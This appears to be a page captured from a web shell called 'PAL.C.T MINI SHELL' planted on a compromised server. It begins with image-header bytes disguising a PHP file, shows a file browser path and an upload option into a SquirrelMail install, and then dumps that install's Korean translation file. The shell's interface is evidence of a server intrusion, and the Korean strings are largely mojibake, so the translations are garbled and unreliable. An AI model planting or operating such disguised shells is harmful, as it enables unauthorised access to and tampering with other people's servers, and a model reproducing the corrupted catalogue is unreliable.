‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/ko_KR/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/ko_KR/LC_MESSAGES/squirrelmail.po

# Korean SquirrelMail Translation.
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# J.I Kim" <aporie@netian.com>, 2002.
#
msgid ""
msgstr ""
"Project-Id-Version: $Id: squirrelmail.po,v 1.1 2003/07/13 09:56:09 tokul Exp "
"$\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-04-16 19:47+0200\n"
"PO-Revision-Date: 2001-12-15 09:45+0200\n"
"Last-Translator: J.I. Kim <aporie@netian.com>\n"
"Language-Team: Korean <squirrelmail-i18n@lists.sourceforge.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "Address Book"
msgstr "주소ë¡"

msgid "Name"
msgstr "ì´ë¦„"

msgid "E-mail"
msgstr "ì „ìžë©”ì¼"

msgid "Info"
msgstr "정보 사항"

msgid "Source"
msgstr "ì›ë³¸ë³´ê¸°"

msgid "To"
msgstr "받는 사람"

msgid "Cc"
msgstr "참조"

msgid "Bcc"
msgstr "ìˆ¨ì€ ì°¸ì¡°"

#, fuzzy
msgid "No persons matching your search were found"
msgstr "ë‹¹ì‹ ì´ ì°¾ê³ ìžˆëŠ” ì‚¬ëžŒì´ ì—†ìŠµë‹ˆë‹¤."

msgid "Search for"
msgstr "찾기"

msgid "in"
msgstr " : "

msgid "All address books"
msgstr "ì „ì²´ 주소ë¡"

msgid "Search"
msgstr "찾기"

msgid "List all"
msgstr "ì „ì²´ 목ë¡"

msgid "Close"
msgstr "종료"

#, php-format
msgid "Unable to list addresses from %s"
msgstr "%s(으)로부터 주소목ë¡ì„ 가져올 수 없습니다."

msgid "Your search failed with the following error(s)"
msgstr "다ìŒê³¼ ê°™ì€ ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."

msgid "All"
msgstr "ì „ì²´"

msgid "Use Addresses"
msgstr "ì£¼ì†Œë¡ ì‚¬ìš©"

#, fuzzy
msgid "Cancel"
msgstr "변경"

msgid "Address Book Search"
msgstr "ì£¼ì†Œë¡ ì°¾ê¸°"

msgid "Return"
msgstr "ëŒì•„가기"

msgid "Nickname"
msgstr "별명"

msgid "Must be unique"
msgstr "ì¤‘ë³µëœ ì´ë¦„ì€ ì‚¬ìš©í•  수 없습니다."

msgid "E-mail address"
msgstr "ì „ìžë©”ì¼ ì£¼ì†Œ"

msgid "Last name"
msgstr "성"

msgid "First name"
msgstr "ì´ë¦„"

msgid "Additional info"
msgstr "추가 정보"

#, fuzzy
msgid "Add to:"
msgstr "%sì— ì¶”ê°€"

msgid "No personal address book is defined. Contact administrator."
msgstr "ê°œì¸ ì£¼ì†Œë¡ì´ ì •ì˜ë˜ì§€ 않았습니다. 관리ìžì—게 ì—°ë½í•˜ì„¸ìš”"

msgid "You can only edit one address at the time"
msgstr "í•œë²ˆì— í•˜ë‚˜ì˜ ì£¼ì†Œë§Œ 편집할 수 있습니다."

msgid "Update address"
msgstr "주소 변경"

msgid "ERROR"
msgstr "오류"

msgid "Please select address that you want to edit"
msgstr ""

msgid "Add address"
msgstr "주소 추가"

msgid "Edit selected"
msgstr "ì„ íƒí•œ 주소 편집"

msgid "Delete selected"
msgstr "ì„ íƒí•œ 주소 ì‚­ì œ"

#, php-format
msgid "Add to %s"
msgstr "%sì— ì¶”ê°€"

#, php-format
msgid "%s wrote:"
msgstr ""

msgid "quote"
msgstr "ì¸ìš©"

msgid "who"
msgstr "글쓴ì´"

#, php-format
msgid "On %s, %s wrote:"
msgstr ""

msgid "Subject"
msgstr "제목"

msgid "From"
msgstr "보낸 사람"

msgid "Date"
msgstr "날짜"

msgid "Original Message"
msgstr "ì›ëž˜ 메세지"

msgid "Draft Email Saved"
msgstr "ì´ë©”ì¼ì´ ìž„ì‹œë³´ê´€í•¨ì— ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Could not move/copy file. File not attached"
msgstr "파ì¼ì„ ì´ë™/복사할 수 없습니다. 파ì¼ì´ 첨부ë˜ì§€ 않았습니다. "

msgid "Draft Saved"
msgstr "ìž„ì‹œë³´ê´€í•¨ì— ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤."

#, fuzzy
msgid "Your Message has been sent."
msgstr "메세지가 전송ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "From:"
msgstr "보낸 사람:"

msgid "Send"
msgstr "전송"

msgid "Attach:"
msgstr "첨부"

msgid "Add"
msgstr "추가"

msgid "Delete selected attachments"
msgstr "ì„ íƒí•œ 첨부물 ì‚­ì œ"

msgid "Priority"
msgstr "우선순위"

msgid "High"
msgstr "높ìŒ"

msgid "Normal"
msgstr "보통"

msgid "Low"
msgstr "ë‚®ìŒ"

msgid "Receipt"
msgstr "수신"

msgid "On Read"
msgstr "ì½ì„ 때"

msgid "On Delivery"
msgstr "배달시"

msgid "Signature"
msgstr "서명"

msgid "Addresses"
msgstr "주소ë¡"

msgid "Save Draft"
msgstr "ìž„ì‹œë³´ê´€í•¨ì— ì €ìž¥"

msgid "You have not filled in the \"To:\" field."
msgstr "\"받는사람:\"ëž€ì´ ë¹„ì—ˆìŠµë‹ˆë‹¤."

#, fuzzy, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "ì‚¬ìš©ìž '%s'(ì€)는 존재하지 않습니다."

#, fuzzy
msgid "Server replied:"
msgstr "서버 ì‘답: "

msgid "Folders"
msgstr "편지함"

#, fuzzy
msgid "Subscribed successfully."
msgstr "편지함으로 사용"

#, fuzzy
msgid "Unsubscribed successfully."
msgstr "편지함으로 사용하지 않ìŒ"

#, fuzzy
msgid "Deleted folder successfully."
msgstr "íŽ¸ì§€í•¨ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."

#, fuzzy
msgid "Created folder successfully."
msgstr "íŽ¸ì§€í•¨ì´ ìƒì„±ë˜ì—ˆìŠµë‹ˆë‹¤."

#, fuzzy
msgid "Renamed successfully."
msgstr "변경ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Subscription Unsuccessful - Folder does not exist."
msgstr "ë©”ì¼í•¨ 사용 실패 - í´ë”ê°€ 존재하지 않습니다."

msgid "refresh folder list"
msgstr "편지함 ëª©ë¡ ê°±ì‹ "

msgid "Create Folder"
msgstr "편지함 ìƒì„±"

msgid "as a subfolder of"
msgstr "ì˜ í•˜ìœ„íŽ¸ì§€í•¨ìœ¼ë¡œ"

msgid "None"
msgstr "ì—†ìŒ"

msgid "Let this folder contain subfolders"
msgstr "ì´ íŽ¸ì§€í•¨ì€ í•˜ìœ„íŽ¸ì§€í•¨ì„ ê°–ìŠµë‹ˆë‹¤."

msgid "Create"
msgstr "만들기"

msgid "Rename a Folder"
msgstr "편지함 ì´ë¦„ 변경"

msgid "Select a folder"
msgstr "편지함 ì„ íƒ"

msgid "Rename"
msgstr "ì´ë¦„변경"

msgid "No folders found"
msgstr "íŽ¸ì§€í•¨ì´ ì—†ìŠµë‹ˆë‹¤."

msgid "Delete Folder"
msgstr "편지함 삭제"

msgid "Delete"
msgstr "삭제"

msgid "Unsubscribe"
msgstr "사용하지 않ìŒ"

msgid "Subscribe"
msgstr "사용함"

msgid "No folders were found to unsubscribe from!"
msgstr "사용하지 않기 위한 íŽ¸ì§€í•¨ì´ ì—†ìŠµë‹ˆë‹¤."

msgid "No folders were found to subscribe to!"
msgstr "사용하기 위한 íŽ¸ì§€í•¨ì´ ì—†ìŠµë‹ˆë‹¤."

msgid "Subscribe to:"
msgstr "사용함:"

#, fuzzy
msgid "Illegal folder name. Please select a different name."
msgstr "편지함 ì´ë¦„ì´ ìž˜ëª»ë˜ì—ˆìŠµë‹ˆë‹¤. 다른ì´ë¦„ì„ ì‚¬ìš©í•˜ì„¸ìš”."

msgid "Click here to go back"
msgstr "ë˜ëŒì•„가려면 여기를 누르세요."

msgid "You have not selected a folder to delete. Please do so."
msgstr "삭제할 íŽ¸ì§€í•¨ì„ ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, php-format
msgid "Are you sure you want to delete %s?"
msgstr "%sì„(를) 삭제하시겠습니까?"

msgid "Yes"
msgstr "예"

msgid "No"
msgstr "아니오"

msgid "You have not selected a folder to rename. Please do so."
msgstr "ì´ë¦„ì„ ë³€ê²½í•  íŽ¸ì§€í•¨ì„ ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

msgid "Rename a folder"
msgstr "편지함 ì´ë¦„ 변경"

msgid "New name:"
msgstr "새로운 ì´ë¦„:"

msgid "Submit"
msgstr "완료"

msgid "ERROR: Help files are not in the right format!"
msgstr "오류: ë„ì›€ë§ íŒŒì¼ì˜ 형ì‹ì´ 올바르지 않습니다!"

msgid "Help"
msgstr "ë„움ë§"

#, fuzzy, php-format
msgid ""
"The help has not been translated to %s. It will be displayed in English "
"instead."
msgstr ""
"ì´ ë„움ë§ì€ %s으(로) 번역ë˜ì§€ 않았습니다. 번역ë˜ì§€ ì•Šì€ ë©”ì„¸ì§€ëŠ” ì˜ì–´ë¡œ 표시"
"ë©ë‹ˆë‹¤"

msgid "Some or all of the help documents are not present!"
msgstr "ë„움ë§ì˜ ì¼ë¶€ ë˜ëŠ” ì „ì²´ê°€ 없습니다!"

msgid "Table of Contents"
msgstr "목차"

msgid "Previous"
msgstr "ì´ì „"

msgid "Next"
msgstr "다ìŒ"

msgid "Top"
msgstr "위로"

msgid "Viewing an image attachment"
msgstr "ì²¨ë¶€ëœ ë¬¸ì„œ 보기"

msgid "View message"
msgstr "메세지 보기"

msgid "Download this as a file"
msgstr "파ì¼ë¡œ 다운받기"

msgid "INBOX"
msgstr "ë°›ì€ íŽ¸ì§€í•¨"

#, fuzzy
msgid "Purge"
msgstr "비우기"

msgid "Login"
msgstr "로그ì¸"

#, php-format
msgid "%s Logo"
msgstr "%s 로고"

#, php-format
msgid "SquirrelMail version %s"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "By the SquirrelMail Project Team"
msgstr "SquirrelMail 개발팀"

#, php-format
msgid "%s Login"
msgstr "%s 로그ì¸"

msgid "Name:"
msgstr "ì´ë¦„:"

msgid "Password:"
msgstr "비밀번호:"

msgid "No messages were selected."
msgstr "메세지가 ì„ íƒë˜ì§€ 않았습니다."

msgid "Personal Information"
msgstr "ê°œì¸ ì •ë³´"

msgid "Display Preferences"
msgstr "화면 설정"

msgid "Message Highlighting"
msgstr "메세지 강조"

msgid "Folder Preferences"
msgstr "편지함 환경설정"

msgid "Index Order"
msgstr "ì¸ë±ìФ 순서"

msgid "Options"
msgstr "환경 설정"

msgid "Error(s) occurred while saving your options"
msgstr ""

msgid "Some of your preference changes were not applied."
msgstr ""

msgid "Successfully Saved Options"
msgstr "설정ìƒíƒœê°€ 저장ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Refresh Folder List"
msgstr "편지함 갱신"

msgid "Refresh Page"
msgstr "페ì´ì§€ 갱신"

msgid ""
"This contains personal information about yourself such as your name, your "
"email address, etc."
msgstr "ì´ë¦„, ì „ìžë©”ì¼ ì£¼ì†Œë“± ê°œì¸ì •보를 저장합니다."

msgid ""
"You can change the way that SquirrelMail looks and displays information to "
"you, such as the colors, the language, and other settings."
msgstr "색ìƒ, 언어등 SquirrelMailì˜ ê²‰ëª¨ìŠµì„ ë³€ê²½í•©ë‹ˆë‹¤."

#, fuzzy
msgid ""
"Based upon given criteria, incoming messages can have different background "
"colors in the message list. This helps to easily distinguish who the "
"messages are from, especially for mailing lists."
msgstr ""
"주어진 ë²”ì£¼ì— ë”°ë¼, ìˆ˜ì‹ ëœ ë©”ì„¸ì§€ëŠ” 메세지 목ë¡ì—서 서로 다른 배경색으로 설정"
"í•  수 있습니다. 메세지를 보낸 ì‚¬ëžŒì„ ì‰½ê²Œ 구분할 수 있으며, 특히 ë©”ì¼ë§ë¦¬ìФ"
"트 êµ¬ë¶„ì— ë„ì›€ì´ ë©ë‹ˆë‹¤."

msgid ""
"These settings change the way your folders are displayed and manipulated."
msgstr "ì´ ì„¤ì •ì€ ë©”ì¼í•¨ 표시방법과 조작방ì‹ì„ 변경합니다."

msgid ""
"The order of the message index can be rearranged and changed to contain the "
"headers in any order you want."
msgstr ""
"메세지 ì¸ë±ìŠ¤ì˜ ìˆœì„œëŠ” 다시 ì •ë ¬ë ìˆ˜ 있으며 ë‹¹ì‹ ì´ ì›í•˜ëŠ” 순서로 변경할 수 있"
"습니다."

msgid "New"
msgstr "새 편지"

msgid "Done"
msgstr "완료"

msgid "To or Cc"
msgstr "받는 사람 ë˜ëŠ” 참조"

msgid "subject"
msgstr "제목"

msgid "Edit"
msgstr "수정"

msgid "Up"
msgstr "위로"

msgid "Down"
msgstr "아래로"

msgid "No highlighting is defined"
msgstr "메세지 ê°•ì¡°ê°€ ì •ì˜ë˜ì§€ 않았습니다."

msgid "Identifying name"
msgstr "ì‹ë³„í•  수 있는 ì´ë¦„"

msgid "Color"
msgstr "색ìƒ"

msgid "Dark Blue"
msgstr "Dark Blue"

msgid "Dark Green"
msgstr "Dark Green"

msgid "Dark Yellow"
msgstr "Dark Yellow"

msgid "Dark Cyan"
msgstr "Dark Cyan"

msgid "Dark Magenta"
msgstr "Dark Magenta"

msgid "Light Blue"
msgstr "Light Blue"

msgid "Light Green"
msgstr "Light Green"

msgid "Light Yellow"
msgstr "Light Yellow"

msgid "Light Cyan"
msgstr "Light Cyan"

msgid "Light Magenta"
msgstr "Light Magenta"

msgid "Dark Gray"
msgstr "Dark Gray"

msgid "Medium Gray"
msgstr "Medium Gray"

msgid "Light Gray"
msgstr "Light Gray"

msgid "White"
msgstr "White"

msgid "Other:"
msgstr "기타:"

msgid "Ex: 63aa7f"
msgstr "예: 63aa7f"

msgid "Matches"
msgstr "ì¼ì¹˜"

#, php-format
msgid "Alternate Identity %d"
msgstr "대체 ì‹ë³„ìž %d"

msgid "Advanced Identities"
msgstr "ìƒì„¸ 설정"

msgid "Default Identity"
msgstr "기본 정보"

msgid "Add a New Identity"
msgstr "새로운 ì‹ë³„ìž ì¶”ê°€"

msgid "Full Name"
msgstr "ì „ì²´ ì´ë¦„"

msgid "E-Mail Address"
msgstr "ì „ìžë©”ì¼ ì£¼ì†Œ"

msgid "Reply To"
msgstr "회신"

msgid "Save / Update"
msgstr "저장 / 갱신"

msgid "Make Default"
msgstr "기본 ì‹ë³„ìžë¡œ 사용"

msgid "Move Up"
msgstr "ì´ë™"

msgid "Checkbox"
msgstr "ì²´í¬ë°•스"

msgid "Flags"
msgstr "플래그"

msgid "Size"
msgstr "í¬ê¸°"

#, fuzzy
msgid ""
"The index order is the order that the columns are arranged in the message "
"index. You can add, remove, and move columns around to customize them to fit "
"your needs."
msgstr ""
"ì¸ë±ìФ 순서는 메세지 ì¸ë±ìŠ¤ì— ì •ë ¬ëœ ì¹¼ëŸ¼ 순서입니다. ë‹¹ì‹ ì˜ í•„ìš”ì— ë”°ë¼ ì¹¼ëŸ¼"
"ì„ ì¶”ê°€, ì‚­ì œ, ì´ë™ í•  수 있습니다."

msgid "up"
msgstr "위로"

msgid "down"
msgstr "아래로"

msgid "remove"
msgstr "삭제"

msgid "Return to options page"
msgstr "환경 설정 페ì´ì§€ë¡œ ëŒì•„가기"

msgid "Message not printable"
msgstr "메세지를 ì¸ì‡„í•  수 없습니다."

msgid "Invalid URL"
msgstr ""

msgid "Printer Friendly"
msgstr "출력용"

msgid "Print"
msgstr "ì¸ì‡„"

msgid "View Printable Version"
msgstr "ì¸ì‡„ìš© 보기"

msgid "Read:"
msgstr "ì½ìŒ:"

msgid "Your message"
msgstr "메세지"

#, fuzzy
msgid "Sent"
msgstr "전송:"

#, php-format
msgid "Was displayed on %s"
msgstr "%s으(로) 표시ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "less"
msgstr "숨김"

msgid "more"
msgstr "ìžì„¸ížˆ"

msgid "Unknown sender"
msgstr "알 수 없는 전송ìž"

msgid "Mailer"
msgstr "ë©”ì¼ëŸ¬"

msgid "Read receipt"
msgstr ""

#, fuzzy
msgid "sent"
msgstr "전송"

msgid "requested"
msgstr "요청ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid ""
"The message sender has requested a response to indicate that you have read "
"this message. Would you like to send a receipt?"
msgstr ""
"메세지 전송ìžê°€ ì´ ë©”ì„¸ì§€ì— ëŒ€í•œ 회신 ë©”ì¼ì„ 요청하였습니다. ë‹µìž¥ì„ ë³´ë‚´ì‹œê² "
"습니까?"

msgid "Send read receipt now"
msgstr "지금 답장 보내기"

msgid "Search Results"
msgstr "검색 결과"

msgid "Message List"
msgstr "메세지 목ë¡"

msgid "Resume Draft"
msgstr "ì´ë©”ì¼ ìž„ì‹œë³´ê´€í•¨ 보기"

msgid "Edit Message as New"
msgstr "새메ì¼ë¡œ 메세지 편집"

msgid "View Message"
msgstr "메세지 보기"

msgid "Forward"
msgstr "전달"

msgid "Forward as Attachment"
msgstr "첨부파ì¼ë¡œ 전달"

msgid "Reply"
msgstr "회신"

msgid "Reply All"
msgstr "전체 회신"

msgid "View Full Header"
msgstr "ì „ì²´ í—¤ë” ë³´ê¸°"

msgid "Attachments"
msgstr "첨부"

msgid "You must be logged in to access this page."
msgstr "ì´ íŽ˜ì´ì§€ì— 접근하기 위해서는 정당한 비밀번호가 있어야 합니다."

msgid "Folder:"
msgstr "편지함:"

msgid "edit"
msgstr "수정"

msgid "search"
msgstr "찾기"

msgid "delete"
msgstr "삭제"

msgid "Recent Searches"
msgstr "최근 검색"

msgid "save"
msgstr "저장"

msgid "forget"
msgstr "forget?"

msgid "Current Search"
msgstr "현재 찾기"

msgid "All Folders"
msgstr "전체 편지함"

msgid "Body"
msgstr "본문"

msgid "Everywhere"
msgstr "ì „ì²´"

msgid "No Messages Found"
msgstr "메세지가 없습니다."

#, fuzzy
msgid "Signout"
msgstr "ì›¹ë©”ì¼ ì¢…ë£Œ"

msgid "Sign Out"
msgstr "ì›¹ë©”ì¼ ì¢…ë£Œ"

msgid "You have been successfully signed out."
msgstr "웹메ì¼ì´ 종료ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Click here to log back in."
msgstr "다시 ë¡œê·¸ì¸ í•˜ì‹œë ¤ë©´ 여기를 누르세요."

msgid "Viewing a Business Card"
msgstr "업무용 카드 보기"

#, php-format
msgid ""
"vCard Version %s is not supported. Some information might not be converted "
"correctly."
msgstr ""

msgid "Title"
msgstr "제목"

msgid "Email"
msgstr "ì „ìžë©”ì¼"

msgid "Web Page"
msgstr "웹 페ì´ì§€"

msgid "Organization / Department"
msgstr "부서"

msgid "Address"
msgstr "주소ë¡"

msgid "Work Phone"
msgstr "사무실 전화"

msgid "Home Phone"
msgstr "ì§‘ ì „í™”"

msgid "Cellular Phone"
msgstr "휴대í°"

msgid "Fax"
msgstr "팩스"

msgid "Note"
msgstr "참조"

msgid "Add to Addressbook"
msgstr "주소 추가"

msgid "Title & Org. / Dept."
msgstr "타ì´í‹€ ë° ë¶€ì„œ"

#, fuzzy
msgid "Add to Address Book"
msgstr "주소 추가"

msgid "Viewing Full Header"
msgstr "ì „ì²´ í—¤ë”보기"

msgid "Viewing a text attachment"
msgstr "ì²¨ë¶€ëœ ë¬¸ì„œ 보기"

msgid ""
"Could not include PEAR database functions required for the database backend."
msgstr ""

#, php-format
msgid "Is PEAR installed, and is the include path set correctly to find %s?"
msgstr ""

msgid "Please contact your system administrator and report this error."
msgstr "ì´ ì˜¤ë¥˜ì— ëŒ€í•˜ì—¬ 관리ìžì—게 ë„ì›€ì„ ìš”ì²­í•˜ì‹­ì‹œìš”."

msgid "Personal address book"
msgstr "ê°œì¸ ì£¼ì†Œë¡"

#, php-format
msgid "Database error: %s"
msgstr "ë°ì´íƒ€ë² ì´ìФ 오류: %s"

msgid "Addressbook is read-only"
msgstr "주소ë¡ì€ ì½ê¸°ì „용입니다."

#, php-format
msgid "User '%s' already exist"
msgstr "ì‚¬ìš©ìž '%s'(ì€)는 ì´ë¯¸ 존재합니다."

#, php-format
msgid "User '%s' does not exist"
msgstr "ì‚¬ìš©ìž '%s'(ì€)는 존재하지 않습니다."

msgid "Not a file name"
msgstr "파ì¼ëª…ì´ ì•„ë‹™ë‹ˆë‹¤."

msgid "No such file or directory"
msgstr "그런 파ì¼ì´ë‚˜ 디렉토리가 없습니다."

msgid "Open failed"
msgstr "열기 실패"

msgid "Write failed"
msgstr "쓰기 실패"

msgid "Unable to update"
msgstr "갱신 오류"

msgid "Could not lock datafile"
msgstr "ë°ì´íƒ€íŒŒì¼ 잠금 오류"

msgid "Write to addressbook failed"
msgstr "ì£¼ì†Œë¡ ìž‘ì„± 오류"

msgid "Error initializing addressbook database."
msgstr "ì£¼ì†Œë¡ ë°ì´íƒ€ë² ì´ìФ 초기화 오류"

#, php-format
msgid "Error opening file %s"
msgstr "íŒŒì¼ %s 열기 오류"

msgid "Global address book"
msgstr "ì „ì²´ 주소ë¡"

msgid "Error initializing global addressbook."
msgstr "ì „ì—­ ì£¼ì†Œë¡ ì´ˆê¸°í™” 오류"

#, php-format
msgid "Error initializing LDAP server %s:"
msgstr "LDAP서버 %s 초기화 오류"

msgid "Invalid input data"
msgstr "ìž…ë ¥ê°’ì´ ìž˜ëª»ë˜ì—ˆìŠµë‹ˆë‹¤"

msgid "Name is missing"
msgstr "ì´ë¦„ì„ ìž…ë ¥í•˜ì„¸ìš”"

msgid "E-mail address is missing"
msgstr "ì „ìžë©”ì¼ ì£¼ì†Œë¥¼ 입력하세요"

msgid "Nickname contains illegal characters"
msgstr "ë³„ëª…ì´ ìž˜ëª»ëœ ë¬¸ìžë¥¼ í¬í•¨í•˜ê³  있습니다."

#, fuzzy
msgid "View"
msgstr "보기"

#, fuzzy
msgid "View Business Card"
msgstr "업무용 카드 보기"

msgid "Sunday"
msgstr "ì¼"

msgid "Monday"
msgstr "ì›”"

msgid "Tuesday"
msgstr "í™”"

msgid "Wednesday"
msgstr "수"

msgid "Thursday"
msgstr "목"

msgid "Friday"
msgstr "금"

msgid "Saturday"
msgstr "토"

#, fuzzy
msgid "Sun"
msgstr "ì¼"

#, fuzzy
msgid "Mon"
msgstr "ì›”"

#, fuzzy
msgid "Tue"
msgstr "í™”"

msgid "Wed"
msgstr ""

msgid "Thu"
msgstr ""

#, fuzzy
msgid "Fri"
msgstr "금"

msgid "Sat"
msgstr ""

msgid "January"
msgstr "1"

msgid "February"
msgstr "2"

msgid "March"
msgstr "3"

msgid "April"
msgstr "4"

msgid "May"
msgstr "5"

msgid "June"
msgstr "6"

msgid "July"
msgstr "7"

msgid "August"
msgstr "8"

msgid "September"
msgstr "9"

msgid "October"
msgstr "10"

msgid "November"
msgstr "11"

msgid "December"
msgstr "12"

#, fuzzy
msgid "Jan"
msgstr "1"

msgid "Feb"
msgstr ""

#, fuzzy
msgid "Mar"
msgstr "3"

#, fuzzy
msgid "Apr"
msgstr "4"

msgid "Ma&#121;"
msgstr ""

#, fuzzy
msgid "Jun"
msgstr "6"

#, fuzzy
msgid "Jul"
msgstr "7"

#, fuzzy
msgid "Aug"
msgstr "8"

msgid "Sep"
msgstr ""

#, fuzzy
msgid "Oct"
msgstr "10"

#, fuzzy
msgid "Nov"
msgstr "아니오"

msgid "Dec"
msgstr ""

msgid "D, F j, Y g:i a"
msgstr "Y-F-j, D, g:i a"

#, fuzzy
msgid "D, F j, Y H:i"
msgstr "Y-F-j, D, G:i"

msgid "M j, Y"
msgstr "Y M j"

msgid "g:i a"
msgstr "g:i a"

#, fuzzy
msgid "H:i"
msgstr "G:i"

msgid "D, g:i a"
msgstr "D, g:i a"

#, fuzzy
msgid "D, H:i"
msgstr "D, G:i"

#, php-format
msgid "Preference database error (%s). Exiting abnormally"
msgstr "ì„¤ì •íŒŒì¼ %sì´(ê°€) 없습니다. 비정ìƒì ìœ¼ë¡œ 종료합니다."

#, php-format
msgid "Click here to return to %s"
msgstr "%s(으)로 ë˜ëŒì•„가려면 여기를 누르세요 "

msgid "Go to the login page"
msgstr "ë¡œê·¸ì¸ íŽ˜ì´ì§€ë¡œ ì´ë™"

#, php-format
msgid ""
"Preference file, %s, does not exist. Log out, and log back in to create a "
"default preference file."
msgstr ""
"ì„¤ì •íŒŒì¼ %sì´(ê°€) 없습니다. 먼저 로그아웃하시고, 기본 설정으로 만들기위해 다"
"시 ë¡œê·¸ì¸ í•˜ì„¸ìš”"

#, php-format
msgid ""
"Preference file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"설정 íŒŒì¼ %s를(ì„) ì—´ 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, php-format
msgid ""
"Preference file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"설정 íŒŒì¼ %s를(ì„) 쓸 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, fuzzy, php-format
msgid ""
"Preference file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"설정 íŒŒì¼ %s를(ì„) ì—´ 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, php-format
msgid "Error opening %s"
msgstr "%s 열기 오류"

msgid "Default preference file not found or not readable!"
msgstr "기본 설정파ì¼ì´ 없거나 ì½ì„ 수 없습니다!"

msgid "Could not create initial preference file!"
msgstr "초기 환경설정 파ì¼ì„ 만들지 못했습니다!"

#, php-format
msgid "%s should be writable by user %s"
msgstr "%sì€(는) ì‚¬ìš©ìž %sì´(ê°€) ì“°ê¸°ê¶Œí•œì„ ê°–ê³  있어야 합니다."

#, fuzzy
msgid "Signature is too big."
msgstr "서명 설정"

#, php-format
msgid ""
"Signature file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"서명 íŒŒì¼ %s를(ì„) ì—´ 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, php-format
msgid ""
"Signature file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"서명 íŒŒì¼ %s를(ì„) 쓸 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, fuzzy, php-format
msgid ""
"Signature file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"서명 íŒŒì¼ %s를(ì„) ì—´ 수 없습니다. ì´ ë¬¸ì œë¥¼ 해결하기 위해 시스템 관리ìžì—게 "
"문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, fuzzy
msgid ""
"You need to have php4 installed with the multibyte string function enabled "
"(using configure option --enable-mbstring)."
msgstr ""
"멀티바ì´íЏ 문ìžì—´ 함수를 사용할 수 있ë„ë¡ php4를 설치해야 합니다.(--with-"
"mbstring  ì˜µì…˜ì„ ì¶”ê°€í•´ì•¼ 합니다.)"

#, fuzzy
msgid "ERROR: No available IMAP stream."
msgstr "오류 : imapstreamì´ ì—†ìŠµë‹ˆë‹¤."

#, fuzzy
msgid "ERROR: Connection dropped by IMAP server."
msgstr "IMAP 서버 연결 오류: %s."

#, fuzzy
msgid "ERROR: Could not complete request."
msgstr "오류 : ìš”ì²­ì´ ì¤‘ë‹¨ë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Query:"
msgstr "질ì˜:"

#, fuzzy
msgid "Reason Given:"
msgstr "사유:"

#, fuzzy
msgid "ERROR: Bad or malformed request."
msgstr "오류 : ìž˜ëª»ëœ ì‘답."

#, fuzzy
msgid "Server responded:"
msgstr "서버 ì‘답: "

msgid "ERROR: IMAP server closed the connection."
msgstr ""

#, fuzzy
msgid "ERROR: Unknown IMAP response."
msgstr "알 수 없는 ì‘답"

#, php-format
msgid "Error connecting to IMAP server: %s."
msgstr "IMAP 서버 연결 오류: %s."

msgid "The IMAP server is reporting that plain text logins are disabled."
msgstr ""

msgid "Using CRAM-MD5 or DIGEST-MD5 authentication instead may work."
msgstr ""

msgid "Also, the use of TLS may allow SquirrelMail to login."
msgstr ""

#, php-format
msgid "Bad request: %s"
msgstr "ìž˜ëª»ëœ ì‘답: %s"

#, php-format
msgid "Unknown error: %s"
msgstr "알 수 없는 오류: %s"

msgid "Read data:"
msgstr "ìžë£Œ ì½ê¸°"

msgid "Unknown user or password incorrect."
